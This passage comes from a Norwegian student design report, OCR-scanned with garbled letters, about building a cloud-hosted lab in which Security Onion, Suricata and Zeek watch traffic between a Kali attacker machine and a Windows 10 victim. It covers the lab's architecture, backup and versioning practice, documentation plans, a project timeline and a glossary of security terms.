undersgkelsene knyttet til visibilitet og deteksjon. Maten vi skal gjennomfare dette pa er ved
a simulere nettverkstrafikk, og teste ut kjente teknologier og programvare. Arbeidet vart blir
da en form for “Proof of Concept”, videre referert til som POC, som demonstrerer hvordan
teknologiene og programvaren ville fungert i virkeligheten (teknologiene og programvarens
gjennomfarbarhet). Malet vart er at POC-arbeidet vil fare til & gke Sopra Steria sin innsikt i
ulike teknologier, og deres bidrag til visibilitet og deteksjon pa nettverksniva. Pa denne maten
vil vi forhapentligvis styrke deres beslutningsgrunnlag for fremtidige kost/nytte-beslutninger

som omhandler dette.

Mer konkret er det vi gnsker a fa ut av testmiljget dokumentasjon som fremmer styrkene og
svakhetene tilknyttet deteksjon og visibilitet pa nettverksniva. Spesielt er vi opptatt av den
innsikten man kan fa her som er eksklusivt monitorering pa nettverksniva. Med andre ord er

vi ikke opptatt av a gi innsikt i funksjonalitet som er dekket av sikkerhetsfunksjonalitet som
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fungerer pa endepunktsniva, som blant annet EDR. Dette betyr at vi i stor grad kommer til &
fokusere pa teknologier som NIDS, SSL/TLS-inspeksjon PCAP-analyse, og i mindre grad vil

fokusere pa endepunktshaserte sikkerhetslgsninger.

4.1.2 Valg av teknisk lgsning

For & kunne utfare gode tester og undersgkelser av de ulike teknologiene, er det sveert
hensiktsmessig at dette foregar i et isolert miljg, uten ekstern stgy fra for eksempel andre
nettverk. Dette kunne vaert oppnadd ved a bygge et fysisk lab-miljg bestdende av ulike
offline-enheter koblet sammen med hverandre gjennom nettverkskabler, men denne
fremgangsmaten har ogsa noen svakheter knyttet til seg. Blant annet er det en overhengende
fare for at problemer underveis kan fare til tap av arbeid, i tillegg til at det vil vaere mer
komplisert a utfare jevnlige sikkerhetskopier i lgpet av arbeidsprosessen. Tilgjengeligheten er
ogsa svekket, da man ma arbeide pa samme fysiske lokasjon som laben befinner seg pa, noe
som prosjektgruppen har vurdert til & veere risikabelt, blant annet med tanke pa usikkerhet
rundt restriksjoner forarsaket av COVID-19.

Pa bakgrunn av dette, har prosjektgruppen landet pa en fremgangsmate som benytter seg av
sky-infrastruktur. Dette forenkler problematikken rundt backup og tilgjengelighet, og
reduserer dermed ogsa risikoen for tapt arbeid underveis, i tillegg til arbeids-blokkeringer.
For & omga utfordringene knyttet til annet stay pa nettverket, er det kommet frem til et
lgsningsdesign som hviler pa a bygge laben i et virtuelt rom, hvorav vertsmaskinen ligger i et
sky-miljg hos Azure. Dette vil muliggjare isolasjonen av vart eget testmiljg fra det
overordnede nettverket i sky-miljget, og det vil dermed i praksis oppnas et tilsvarende

produkt som om det hadde veert bygget av fysiske komponenter.

Designet for laben benytter seg altsa av ngstet virtualisering, hvor vi vil ha fjerntilgang til
vertsmaskinen gjennom internett, og derfra kunne styre maskinene innover i den virtuelle
laben pa det isolerte nettverket. Dette stiller for gvrig sterkere krav til ressurser pa
vertsmaskinen, da den skal ha tilstrekkelig med overfladig maskinkraft til & allokere videre
innover i det virtuelle rommet. Det kan vaere vanskelig a estimere en eksakt optimal balanse
for ressursfordeling fra vertsmaskinen og pa tvers av testmiljget. Derfor kommer vi til & ta
utgangspunkt i et opprinnelig estimat, og deretter jobbe iterativt med a teste og observere

miljeet, og re-allokere ressurser frem til vi finner en balanse som fungerer godt.
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4.1.3 Testmiljgets oppbygning

| denne seksjonen vil testmiljgets oppbygning beskrives. Dette inneberer en beskrivelse av
selve rammeverket, men ogsa konkret hvilke noder testmiljget bestar av, samt relasjonen
mellom disse nodene. Vi vil ogsa fremlegge hvilke operativsystemer disse nodene er basert

pa, og legge fram den mest sentrale programvaren som nodene kjarer.

4.1.3.1 Rammeverk

Rammeverket til testmiljget vart kan beskrives som en lagdelt modell, bestaende av tre lag.
Det farste laget er den fysiske verden. Fra dette laget kobler vi oss pa det forste
virtualiseringslaget. Dette gjares ved at vi kjarer en virtuell maskin ved bruk av Azure, og
kobler oss opp pa denne. Videre kjgrer denne virtuelle maskinen VirtualBox, og gjennom
denne programvaren oppretter vi fire noder, hvorav tre virtuelle maskiner og en svitsj. Det er
disse fire nodene som utgjer det andre virtualiseringslaget, og som vil utforme selve testlaben

o

valr.

Fysisk lag

| Azure |

Forste
virtualiseringslag

IWMI Windows Server

Andre
virtualiseringslag

Win 10 Security Onion  Kali

Figur 5: Oversikt over de ulike lagene i testmiljget. Azure fungerer som Hypervisor og kjgrer Windows Server.
VirtualBox kjgrer inne i Windows Server og innehar Hypervisor-rollen for Windows 10-, Security Onion- og
Kali-maskinen.

Under vil vi gjennomga egenskapene til de forskjellige virtuelle lagene, og hvilken betydning

disse egenskapene vil fa for testmiljget.

Fysisk lag:
| dette laget har vi tilgang til Azure sin portal, hvor vi kan opprette en VM som vil utgjere det

farste virtualiseringslaget.
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Farste virtualiseringslag:

Det farste virtualiseringslaget vil besta av et Windows Server Datacenter 2019, som vi i
utgangspunktet vil allokere 64GB RAM til. Grunnen til at vil allokere denne VM-en med sa
mye RAM, er for & sgrge for at det andre virtualiseringslaget effektivt skal kunne kjare hele
testmiljoet. Datasenteret vil kjore VirtualBox, og det er ved bruk av denne programvaren vi
vil realisere det andre virtualiseringslaget.

Vi valgte Windows Server Datacenter 2019 til & utgjgre det farste virtualiseringslaget,
ettersom vi anser distribusjonen som en god vert for det andre virtualiseringslaget. Dette
skyldes at vi med denne distribusjonen lett kan jobbe parallelt, da distribusjonen tillater flere

synkrone tilkoblinger.

Andre virtualiseringslag:
Det andre virtualiseringslaget vil besta av fire noder som vi vil opprette i VirtualBox. Det er
dette virtualiseringslaget som vil utgjare testmiljget vart, og det er her vi vil gjennomfgre

tester.

4.1.3.2 Nodene

Det tenkte testmiljget inne i VirtualBox (det andre virtualiseringslaget) bestar av tre
forskjellige noder: en Windows 10-maskin, en Security Onion-maskin, og en Kali-maskin. |
denne seksjonen vil nodenes rolle i testmiljget bli beskrevet. Dette inkluderer en beskrivelse
av nodenes funksjon, men ogsa hvilke programvare nodene skal ha, og denne programvarens
rolle. Ellers inkluderer ogsa beskrivelsen av nodene de tenkte IP-adressene nodene vil vare

konfigurert med pa nettverksgrensesnittkontrollerene i testmiljget.

Windows 10:

NIC 1: 10.0.0.1

Windows 10-maskinen innehar rollen som offer i testmiljget, og har ingen funksjon utenom
dette.
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Security Onion (Linux):

NIC 1: 10.0.0.2

NIC 2: Promiskugs modus

Security Onion-maskinen sin rolle i testmiljget gar ut pa a overvake og kontrollere
nettverkstrafikken. Dette gjar den gjennom NIC 2, som er en nettverksgrensesnittkontroller
som vil fange opp all nettverkstrafikken som gar mellom nodene i testmiljget. Security Onion
vil benytte seg av nettverkanalyseprogramvaren Suricata og Zeek. Suricata vil hovedsakelig
inneha rollen som deteksjonssystem (NIDS), mens Zeek primeert vil benyttes til annen
nettverksanalyse. | tillegg til dette vil Wireshark brukes som pakkeanalysator i forbindelse

med pakkedumpanalyser.

Kali (Linux):

NIC 1: 10.0.0.3

Kali-maskinen vil fungere som angriper i testmiljget. Dette betyr at den vil gjennomfare
konkrete angrep mot offermaskinen, i utgangspunktet basert pa forhandsinstallert

programvare i Kali.

Virtuell svitsj 10.0.0.0/24:

Den virtuelle svitsjen i testmiljget vil koble de forskjellige nodene sammen.
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Pa figuren under presenteres testmiljget visuelt. Figuren inkluderer alle nodene i testmiljget,

og viser relasjonene mellom dem. Tre av nodene er maskiner, og de kommuniserer gjennom

den siste noden, en virtuell svitsj. Figuren viser at Security Onion-maskinen sniffer opp

nettverkstrafikken som gar mellom nodene ved hjelp av NIC 2, som Kjgrer i promiskugs

modus. Til slutt viser figuren at testmiljget kjeeres virtuelt inne i en VirtualBox, som igjen

Kjarer pa en Azure VM.

VirtualBox

10.0.0.2 —>NIC 1 _|NIC 2|«— Promiskuos modus

Security Onion
10.0.0.4 10.0.0.3
‘ Ai‘i ~ |
LNIC e T
Windows 10 Virtuell svitsj Kali Linux
10.0.0.0/24
10.0.0.1
Azure VM

Figur 6: Testmiljgets struktur og oppbygning. Pa figuren kan det se ut som NIC 1 og NIC 2 pa Security Onion-
maskinen kommuniserer far de nar den virtuelle svitsjen. Dette er ikke tilfellet, da begge tilkoblingene til den
virtuelle svitsjen er separate.
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4.2 Arbeidsprosess

I denne seksjonen gjennomgas det hvordan det er tiltenkt at arbeidet med testmiljget skal
forega. | starten vil det overordnede prosesslgpet beskrives, og den tilhgrende
arbeidsmetodikken gjennomgas. Videre vil fremgangsmaten gjennomgas pa et litt mer
konkret niva, bade knyttet til byggingen av testmiljget, testingen som vil forega i testmiljget,
samt hvordan vi skal dokumentere arbeidet med testmiljget. Til slutt fremlegges en oppdatert

fremtidsplan tilknyttet prosjektgruppas framdrift i prosjektet.

4.2.1 Overordnet prosesslap

I lapet av prosjektperioden skal det designes og bygges et testmiljg. Dette er en kritisk del av
det tekniske arbeidet som skal utfgres, og det stiller dermed krav til god planlegging og
arbeidsprosess generelt i denne fasen. Mye av forarbeidet til dette har blitt gjort i designfasen,
hvor vi blant annet har planlagt fremgangsmaten videre, og skissert et lgsningsdesign som
skal implementeres. Arbeidet med implementasjonen er en sammensatt prosess, og derfor kan
det oppsta mange nye innfall og justeringer underveis. For a optimalisere den overordnede
arbeidsprosessen, vil det jobbes iterativt med flere av leddene, med utgangspunkt i en

fundamental plan.

Figur 7: Arbeidsmetodikk tilknyttet arbeidet med testmiljget

Pa figuren over illustreres en forenklet fremstilling av arbeidsmetodikken tilknyttet arbeidet
med testmiljget. Figuren viser hvordan resultatet kontinuerlig forbedres gjennom en iterativ
prosess. Denne prosessen starter med at vi fgrst implementere lgsningen. Videre utfgres
tester, og det gjeres observasjoner basert pa testene i miljget. Etter dette skrives det
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dokumentasjon basert pa testene, far vi til slutt gjer en evaluering, blant annet knyttet til
hvorvidt systemet fungerer optimalt, eller om man skal gjere noen nye endringer eller andre
justeringer pa systemet. Den stiplede pilen illustrerer muligheten for at det kan dukke opp
forslag til endringer underveis som er mer fundamentale, og at dermed ogsa

planleggingsprosessen bgr inkluderes i neste runde i iterasjonen.
4.2.2 Fremgangsmate bygging

Bygging av rammeverk

Nar prosessen med a bygge testmiljget er i gang, og prosjektgruppen har fatt tilgang til
ressurser hos Azure, er det farste som skal gjeres a sette opp og konfigurere vertsmaskinen
der. Deretter, etter & ha testet at denne fungerer som den skal og fjerntilgangen er pa plass, vil
det neste steget veere 4 installere VirtualBox pa denne maskinen. Videre konfigureres
nettverket pa VirtualBox, og ressursene derfra allokeres videre innover til enhetene som skal
bygges pa innsiden. Her er det viktig med god kvalitetskontroll underveis, hvor det sjekkes at
alt er gjort riktig far man gar videre. Dette er sarlig pa grunn av at alt arbeidet videre hviler
pa statusen til de gvrige maskinene. Nar det er verifisert at maskinene er satt opp riktig, og
fungerer optimalt, blir det tatt et snapshot for & eventuelt kunne rulle tilbake til dette punktet

Senere.

Videre skal maskinene i det indre og isolerte testmiljget bygges. De maskinene blir opprettet
fra VirtualBox og de respektive operativsystemene installeres pa hver enkelt node. Herfra blir
det en ny runde med kvalitetskontroll, og det ma bl. a sjekkes at tilgangen til de ulike
maskinene fungerer som det skal, og at nettverkskonfigurasjonen er blitt utfert riktig. Dette
kan gjeres ved a utfare tester fra de ulike maskinene. Nar dette er ferdig implementert, testet

og verifisert, er selve rammeverket for testlaben pa plass.
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Versjonskontroll

Herfra vil det jobbes mye innover i hver av de enkelte maskinene pa innsiden av det virtuelle
miljget. Det vil ogsa i stor grad jobbes asymmetrisk med maskinene, altsa at det i ulike
perioder vil gjgres mye endringer pa én eller to av dem, mens en annen kan sta mer eller
mindre uforandret i det samme tidsrommet. | forbindelse med dette, er det hensiktsmessig a
ha bade et godt system og gode rutiner for backup og versjonskontroll. Figuren under viser
hvordan de ulike maskinene i den helhetlige arkitekturen kan endre seg i utakt med
hverandre, og hvordan avhengigheten mellom dem henger sammen, og illustrerer et generisk

og vilkarlig hendelsesforlgp hvor ulike endringer skjer over tid.

Endringsledd 1 —* 2 ——» 3 ——» 4 ——3>» 5

Azure
v.0.1

Versjoner Azure
Azure v.0.0

Versjoner ‘ VirtualBox VirtualBox VirtualBox
VirtualBox v.0.0 v.0.1 v.0.2

Versjoner Kall Kall y Kali
Kali :> v0.0 w0.1 w0.1
| |
Versjnner Sacurity Security Security
. . Onion Onion Onion
Security Onion V0.0 v.0.1 w02
[ |
Versjoner Win 10 4 Win10
Win 10 " v.0.0 Tl woo

Tar snapshot  Tar snapshot
i VirtualBox i Azure

Figur 8: Avhengigheter mellom maskiner og versjonskontroll

Den gverste rekken med tall pa figuren illustrerer ulike ledd hvor det har forekommet en eller
annen endring pa én eller flere maskiner i testmiljget, og skildrer dermed en dimensjon av tid
i illustrasjonen. | radene under finner vi egne rekker for hver enkelt maskin, med egne
inkrementelle versjoner bortover langs x-aksen mot hgyre. Her ser vi ogsa hvordan

VirtualBox avhenger av Azure, og bade maskinene med Kali, Security Onion, og Windows
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10 avhenger av VirtualBox igjen. Dermed vil et snapshot i VirtualBox ogsa inneholde
tilstanden til alle maskinene under, og et snapshot i Azure vil inneholde en backup av
VirtualBox pa det tidspunktet, som igjen inneholder tilstanden til alle maskinene under. Dette
er illustrert med de rgde pilene som peker horisontalt oppover.

Siden mesteparten av arbeidet videre vil forega pa maskinene underlagt VirtualBox, og det i
tillegg kan forekomme mange endringer pa to av disse maskinene i en periode, mens den siste
maskinen forblir uendret i samme tidsrom, er det lurt & ha et bevisst og strukturert forhold til
hvordan vi utfgrer versjonskontroll. For eksempel kan det vaere hensiktsmessig a kunne rulle
tilbake versjonen pa én av maskinene under VirtualBox, men samtidig beholde naveerende
versjon pa de andre. Dermed blir det ngdvendig a ta backup av versjonene pa hver enkelt
maskin etter hvert som det gjares stgrre endringer, eller en milepzl er nadd. Det vil vaere mer
effektivt, fleksibelt, og i tillegg ressurssparende fremfor & hyppig lage snapshots fra Azure.
Prosjektgruppen vil hver uke ta backup av tilstanden pa davarende tidspunkt, i tillegg til &
gjere det samme umiddelbart ved starre, suksessfulle endringer. Snapshots i Azure vil foretas
ved starre milepaler, og der hvor alle maskiner innover i virtualiseringskjeden har fullforte

endringer som fungerer sammen i det helhetlige systemet.

Iterativt arbeid

Videre er det essensielt at maskinene i testlaben har tilstrekkelig med ressurser for & operere
pa en hensiktsmessig mate i henhold til planen. Her er det verken bra om noen maskiner er
rustet med alt for mye ressurser, eller for lite. Det er i planleggingsfasen gjort et estimat pa
hvor mye maskinvareressurser som kreves pa de ulike nodene i nettverket, men som regel er
det alltid en differanse mellom reelt og estimert forbruk. For a sikre at ressurser blir fordelt pa
en optimal mate, vil det gjares tester kontinuerlig etter hvert som ulike programvarer tas i
bruk, og ytelsen pa de ulike maskinene kan males. Deretter kan det vurderes hvorvidt man
skal re-allokere ressursene. Dette blir en kontinuerlig iterativ metodikk som faglger

utviklingen av testmiljget for gvrig, ogsa fordi ressursbehovet kan endre seg over tid.

Underveis i byggingen av testlaben, vil det bli installert en rekke verktgy og rammeverk pa de
respektive maskinene som eksisterer under VirtualBox. En del av disse verktayene ma
konfigureres og spesialtilpasses omgivelsene som skal jobbes med. Slike justeringer er som

regel lite hensiktsmessig a planlegge i detalj i forkant, da de ofte avhenger av observasjoner
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som gjares underveis i testingen. Her kan det raskt dukke opp nye behov, og gjares
beslutninger underveis som gjer at man krever noe annet av systemene. Dette blir dermed
ogsa arbeidet med iterativt under byggingen, hvor et mer detaljert helhetsbilde av den

sammensatte lgsningen gradvis kommer sterkere frem jo mer som bygges.

Den samme metodiske fremgangsmaten vil ogsa vere narliggende & bruke for det arbeidet
tilknyttet kvalitetskontroll og testing av selve verktayene underveis. Her kan det noen ganger
veere ngdvendig & ga tilbake a teste andre systemer i etterkant av en ny implementasjon eller
endring i konfigurasjon, selv om det samme systemet er testet tidligere. Dette gjelder i serlig
grad der hvor programvarene henger sammen og interagerer med hverandre pa en mate, og

hvor dermed en justering pa et sted, kan endre til endret atferd et annet sted.

4.2.3 Fremgangsmate gjennomfgring

Etter at testlaben er ferdig bygget og kvalitetssikret, er det en rekke undersgkelser som skal
gjeres. Formalet er i fgrste runde a bli kjent med de ulike teknologiene, og bygge opp
praktisk erfaring rundt hvordan de fungerer og kan brukes. Videre handler det om a gjere en
rekke observasjoner pa bakgrunn av de testene som skal utfares, som kan si noe om hvordan
disse teknologiene kan passe inn i et overordnet sikkerhetssystem, og hva slags innsikt de kan
fare til, fra et sikkerhetsperspektiv i kontekst av nettverk. I tillegg til dette vil testlaben kunne

veere en POC for hvordan et slikt sikkerhetssystem kan implementeres og driftes.

Arbeidet som prosjektgruppen vil foreta seg i tilknytning til gjennomfgringen av testlabens
overordnede hensikt vil i stor grad veere metodisk og iterativ. Hovedmomentene som er
prioritert til dette arbeidet vil videre bli presentert her. En detaljert beskrivelse av
gjennomfgaringen er for gvrig et tema for driftsrapporten, og vil ikke gjennomgas i dette
dokumentet. Det blir her kastet et overblikk over hva som skal undersgkes, i tillegg til et

utgangspunkt for hvordan fremgangsmaten for testingen vil forega.
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Simulering av nettverkstrafikk

Den ferdigstilte testlaben vil veere en manifestasjon av et sikkerhetssystem som benytter
teknologier for visibilitet og deteksjon pa nettverksniva, med et tilhgrende nettverksmiljg. Pa
denne maten vil testlaben konseptuelt gjenspeile noe som kunne vert en reell implementasjon
hos en eksisterende organisasjon. Hovedforskjellen er at topologien er nedskalert, og at det
ikke er noen reelle brukere tilstedevaerende i miljget. Dermed ma dette simuleres for a kunne

gjere gode og realistiske tester av hvordan teknologiene presterer.

Prosjektgruppen hadde i utgangspunktet planlagt a benytte seg av egen programvare for a
simulere nettverkstrafikk for a utfgre tester i labmiljget. Dette ble senere substituert med a
importere PCAP-filer p& Security Onion-maskinen. Arsaken til dette er at slik import av
pakkefangst-opptak vil behandles av det implementerte sikkerhetssystemet, og varsler blir
generert med utgangspunkt i innholdet i dette pa samme mate som om det hadde vaert
simulert i sanntid. Dermed blir sluttresultatet i var kontekst det samme, og man sparer dermed
mer tid i prosessen av a fa dataen gjennom systemet. En ulempe med denne fremgangsmaten
er at man ikke har tilgang pa krypteringsngklene der hvor trafikken er kryptert med HTTPS,
pa dataset som er hentet eksternt. Det betyr at man ikke har tilgang til & dekryptere dette

underveis, slik det var tiltenkt i kontekst av SSL/TLS-inspeksjon.

Visibilitet og deteksjon

Trafikken blir fanget opp pa Security Onion-maskinen, og pakkene blir her observert av
systemene for dette, og videre av prosjektgruppen. Spesielt vil det fokuseres pa alarmeringen
som blir generert under forsgkene. Systemets oppfersel og hvordan teknologien presterer, vil
bli vurdert av prosjektgruppen ut ifra dette, og det vil ogsa foretas en manuell inspeksjon av
pakker. Systemet vil justeres kontinuerlig og iterativt, og fokuset for observasjoner vil hele
tiden veere rettet mot hvilke muligheter for nyttig innsikt som kan veere & hente ut av et slikt

sikkerhetssystem.

Det vil ogsa implementeres en mekanisme for SSL/TLS-inspeksjon, hvor det vil bli gjort
observasjoner rundt hvordan sikkerhetssystemet oppfarer seg nar stremmen av nettverksdata i
dette leddet ikke er kryptert. Her vil fokuset i stor grad veere knyttet til en sammenlikning
rundt graden av innsikt som oppnas med og uten det ekstra nivaet av informasjon i

inspeksjons-prosessen. Dermed vil vi kunne betrakte innsikten knyttet til visibilitet og
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deteksjon pa nettverket, satt opp mot fraveeret av dette, i tillegg til & sette de ulike nivaene av
inspeksjon opp mot hverandre, og se pa differansen der. Det er ikke ngdvendigvis
proporsjonale sammenhenger mellom innsikten de ulike nivaene genererer, og det kan derfor

veere av s&rlig interesse iblant annet en kost/nytte-sammenheng.

Det er en stor overhengende mulighet for at prosjektgruppen underveis i det praktiske og
undersgkende arbeidet kommer over nye interessante betraktninger og relevante teknologiske
muligheter. | forbindelse med dette er det holdt av rom for a utforske disse, gitt at de kan
bista til et bedre helhetsinntrykk av hva visibilitet og deteksjon pa nettverksniva kan
innebzre, og hva det kan medfare av nytteverdi for en organisasjon. Slike potensielle
muligheter lar seg ikke planlegges av natur, annet enn at det kan reserveres et rom for a
utforske dem. I henhold til risikoanalysen som tidligere er utformet i forbindelse med dette
prosjektarbeidet, er det for gvrig viktig at dette i utgangspunktet foregar som et supplement til
den eksisterende planen, og ikke som en distraksjon pa bekostning av den. | slike tilfeller vil

ogsa viktigheten av godt dokumentasjonsarbeid underveis komme tydelig frem.

4.2 .4 Fremgangsmate dokumentering

Dokumentasjonsarbeidet er en sveert viktig del av arbeidsprosessen. Dette skyldes at det er
gjennom dokumentasjonen som produseres at oppdragsgiveren skal fa oppfylt behovet sitt
som var utgangspunktet for oppgaven. Dokumentasjonen skal bade skal dekke det som er
gjort, men samtidig ogsa de resultatene som er produsert. Dette stiller store krav til
dokumentasjonsprosessen, og derfor er det viktig at dokumentasjonen materialiseres og
presenteres pa en strukturert og enkel mate, som gjar at det lett for oppdragsgiveren a trekke
ut relevante momenter. Dokumentasjonen som har blitt fart gjennom arbeidsprosessen vil i

hovedsak presenteres gjennom driftsrapporten.

Dokumentasjonsprosessen

Maten det vil dokumenteres pa underveis i arbeidet med testmiljget handler i stor grad om
kontinuerlig arbeid. Vi vil starte med a opprette et dokument som struktureres etter de
forskjellige momentene i arbeidsprosessen (bygging og gjennomfgring). Dette dokumentet vil
videre deles inn i enkelte aktiviteter innenfor disse momentene. Underveis i arbeidet med
testmiljget vil vi sa dokumentere det som gjares i testmiljget knyttet opp mot hver enkelt av

disse aktivitetene. Konkret vil denne dokumentasjonen besta av skjermdumper av aktiviteten
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som gjennomfares, i tillegg til en kort beskrivelse av det som er gjort, eller det vi har kommet
frem til. Prosessen med skjermdumper kan vi gjennomfgre pa en effektiv mate, ettersom
testmiljget vart er skybasert, og skjermbildene dermed kan tas effektivt av den fysiske
maskinen vi arbeider pa. Med bakgrunn i dette vil ikke de praktiske aktivitetene tilknyttet til
dokumenteringen ga nevneverdig utover arbeidsflyten. Ellers er et resultat av denne
metodikken at man sgrger for a hele tiden fa et bevisst forhold til det som faktisk gjeres.
Dette vil bidra med a legge til rette for gode lzringsforhold, ettersom man gjennomgaende

kort ma oppsummere det som er gjort.

Ellers spiller prosjektets overordnede arbeidsmetodikk ogsa en stor rolle i & sikre kvaliteten i
dokumentasjonsprosessen. Ved bruk av denne metodikken, som er beskrevet i punkt 4.2.1,
sgrges det for at det kontinuerlig dokumenteres under arbeidet med testmiljget. Pa denne
maten sikrer vi at det ikke unnlates & dokumentere noen av aktivitetene som gjennomfares

underveis i arbeidet.

Driftsrapport

Arbeidet med driftsrapporten er helt sentralt for om dokumentasjonsarbeidet blir en suksess.
Dette skyldes at det er gjennom driftsrapporten dokumentasjonen vi har fart i forbindelse
med byggingen og testingen i testmiljget vil bli presentert. Arbeidet med driftsrapporten vil
starte mot slutten av arbeidet i testmiljget, og videre intensiveres mot slutten av
prosjektperioden. Nar arbeidet med driftsrapporten starter, vil vi gjennomga
dokumentasjonsmaterialet fra arbeidsprosessen. Farst kvalitetssikres innholdet, for det videre
legges fram i driftsrapporten. Her vil det fokuseres pa a vektlegge de viktigste momentene fra
arbeidet. Hva som er det viktigste, vil i stor grad bli vurdert her. Til slutt vil vi ende opp med
en ferdig driftsrapport. Denne driftsrapporten vil pA mange mater kunne sees pa som en
revidert utgave av dokumenteringen vi har gjennomfart i forbindelse med arbeidet i

testmiljget, og spiller en viktig rolle for fremleggingen av prosjektets resultat.

Reproduserbarhet

Det et viktig prinsipp i forbindelse med dokumentasjonsarbeidet at det som gjares i
testmiljget er reproduserbart. Dette innebarer at andre pa et senere tidspunkt skal kunne
gjenta det som er gjort, og bygge et tilsvarende miljg, ved a se pa dokumentasjonen som er

fort i forbindelse med prosjektet. Dette stiller igjen krav til dokumentasjonen, bade gjennom
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driftsrapporten, men ogsa gjennom denne designrapporten. Alle de sentrale momentene i
testmiljeet i forbindelse med strukturen og rammeverket i testmiljget skal ha blitt dekket i
denne rapporten, og videre sa skal det som faktisk gjennomfares tilknyttet byggingen og
testingen i testmiljget dokumenteres i driftsrapporten. Denne dokumentasjonen har blitt, og
vil videre bli, utformet med hensyn pa at andre potensielt skal kunne utvikle den samme
laben i fremtiden. Det vil riktignok ikke dokumenteres pa et detaljniva som vil gjare testlaben
reproduserbar for alle, da det tas et forbehold om et moderat kunnskapsniva innenfor
informasjonsteknologi og informasjonssikkerhet.

4.2.5 Oppdatert fremdriftsplan

Etter & ha fullfert oppstartsfasen, og begynt pa designfasen, har prosjektgruppen gjort noen
justeringer i den opprinnelige fremdriftsplanen. Dette er utelukkende knyttet til designfasen,
og varigheten pa denne arbeidsperioden. Her er det allokert mer tid til & utarbeide
designrapporten, da den hadde et mer omfattende spekter av innhold enn hva som var

estimert ved prosjektets start. Endringene kan sees i det oppdaterte GANTT-diagrammet

Jan 21 va Feb 21 Mar 21 v Apr 21 May 21 w Jun21
Jan11 Jan18 Jan25 FebO1 Feb08 Feb 15 Feb22 Mar 01 Mar 08 Mar 15 Mar22 Mar 29 Apr05 Apr12 Apr19 Apr26 May03 May 10 May 17 May 24 May 31 Jun07 Jun14 Jun21 Jjun28
pr— st

() Tilegne en dypere forstaelse av EDR og IDS, og sammenhengen mellom dem
:] Utarbeide et tilstrekkelig utgangspunkt for & snevre inn oppgaven
(@ oppna en innsnevring av oppgaven

~ Design:

( | Ferdigstille rammeverket til testmiljoet

) Utarbeide farste utkast til designrapport

— Implementasjon og drift:

J Klargjore testmiljoet for testing
L J Gjennomfere tester
[,_ Evaluere tester

| Utarbeide driftsrapport

~ Avslutning:

Ferdigstille rapporter

( Ferdigstille sluttprodukt
) Evaluering av prosjekt
E Innlevering av prosjekt

[| Utfere presentasjon av prosjekt

Figur 9: Oppdatert GANTT-diagram for prosjektperioden
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5.2 lllustrasjoner
Ilustrasjonene brukt i denne rapporten er produsert pa egenhand av prosjektgruppa.
Programvaren som er brukt til dette basert pa gratis apen kildekode fra diagrams.net

(https://app.diagrams.net/).
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Begreper og definisjoner

Azure Skytjeneste fra Microsoft. Brukes blant
annet til bygging, testing, utrulling og
administrering av applikasjoner og tjenester.

DPI Dyp pakkeinspeksjon er en form for
inspeksjon av nettverkspakker, hvor man ser
pa alt av innholdet i pakken, inkludert

nyttelasten.

EDR Endpoint Detection and Response -
Sikkerhetssystem for & detektere og reagere

pa trusler som oppdages pa et endepunkt.

EPP Endpoint Protection Platform - Et
sikkerhetssystem som detekterer og reagerer
pa trusler som oppdages pa et endepunkt.
Har noe utvidet funksjonalitet i forhold til
EDR, og inneholder blant annet

antivirusfunksjonalitet.

|
Header (i forbindelse med pakker) Header - Den delen av en IP-pakke som

inneholder informasjon om pakkens
avsender og destinasjon, samt andre felter

som bidrar til a rute pakken.

HTTP/HTTPS Hypertext Transfer Protocol/Hypertext
Transfer Protocol Secure er en protokoll pa
applikasjonslaget, som primaert brukes pa
internett til & utveksle informasjon. HTTPS
er en nyere og forbedret utgave som benytter
seg av SSL- eller TLS-teknologi for a
kryptere trafikken og dermed beskytte den

mot avlytting og ugnsket interferens.
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IAAS Infrastructure as a service - En
databehandlingsinfrastruktur som tilbys og
administreres over internett. IAAS gir blant
annet muligheten til & sette opp et eget miljg

med virtuelle maskiner og nettverk.

IDS Intrusion Detection System - Programvare
eller enhet som brukes til deteksjon av
skadevare pa systemer og nettverk.

! 1
IPS Intrusion Prevention System er en teknologi

som monitorerer og detekterer skadevare pa
systemer og nettverk. I tillegg til dette har
IPS-programvare ogsa muligheten til &
reagere pa trusler som blir oppdaget.

MITM Man in the middle (MITM) er en
angrepsform som baserer seg pa at en
ondsinnet akter stiller seg imellom to parter
som tror de kommuniserer direkte.
Angriperen kan i slike situasjoner lytte eller
interferere med kommunikasjonen, uten at

noen av partene er klar over det.

MSSP Managed Security Service Provider. En
MSSP handterer sikkerhetstjenester for
sluttbrukere, slik som monitorering og

handtering av hendelser.

NIC Nettverksgrensesnittkontroller - En
komponent som muliggjer

nettverkstilkoblinger for en datamaskin.

| 1
NIDS Network Based Intrusion Detection System -

IDS-programvare eller enhet som overvaker
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og detekterer pa nettverksniva.

| 1
OSI-modellen Open Systems Interconnection (OSI)

modellen er en referansemodell for
datakommunikasjon. Den bestar av 7 ulike
lag for kommunikasjon med hver sine
protokoller, og beskriver sammenhengen

mellom dem.

PCAP Packet capture (PCAP) er et
programmeringsgrensesnitt som brukes til
analysere nettverkstrafikk. Med PCAP kan
analysere pakkestrammen i et nettverk, og
man kan se informasjon om pakkene fra lag
2 til 7 i OSI-modellen. Det finnes ogsa pcap-
filer, og disse inneholder en strgm av
pakker. Disse filene kan analyseres i

programmer som for eksempel Wireshark.

| |
Promiskugs modus Promiskugs modus - En

nettverkskonfigurasjon som overfarer alle
pakkene som nettverksadapterdriveren
mottar. En nettverksgrensesnittkontroller i

denne modusen muliggjer pakkesniffing.

! 1
Proxy Proxy - En server som fungerer som et

mellomledd mellom en klient og en tjener

| |
Sertifikat Sertifikat i denne konteksten refereres til et

digitalt sertifikat. Et sertifikat er en unik
datafil, og brukes ofte i dagens digitale
infrastruktur, gjerne til & bevise eller
verifisere opphavet til det man interagerer
med, eller som en form for digital

underskrift.
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SIEM Security Information and Event Manager
(SIEM) er et system for
sikkerhetsinformasjon og
hendelseshandtering. Det fungerer som et
samlingssted for logger, og genererer

sikkerhetsvarsler basert pa disse.

| 1
Snapshot En sikkerhetskopi av maskintilstand. Brukes

for & kunne rulle tilbake til en tidligere

versjon ved behov.

SSL/TLS Transport Layer Security (TLS) og
forgjengeren Secure Sockets Layer (SSL) er
kryptografiske protokoller som muliggjer en
sikrere kommunikasjon pa internett, og kan
beskytte mot at ugnskede parter far innsyn i

datapakkene.

| 1
Threat hunting Threat hunting - En proaktiv og iterativ

prosess der man aktivt sgker gjennom et
nettverk for & oppdage isolerte og avanserte
trusler som ikke blir fanget opp av andre

sikkerhetslasninger.

VM Virtuell Maskin - En datafil som oppfarer

seg som en faktisk datamaskin.

XDR Extended Detection and Response - Et
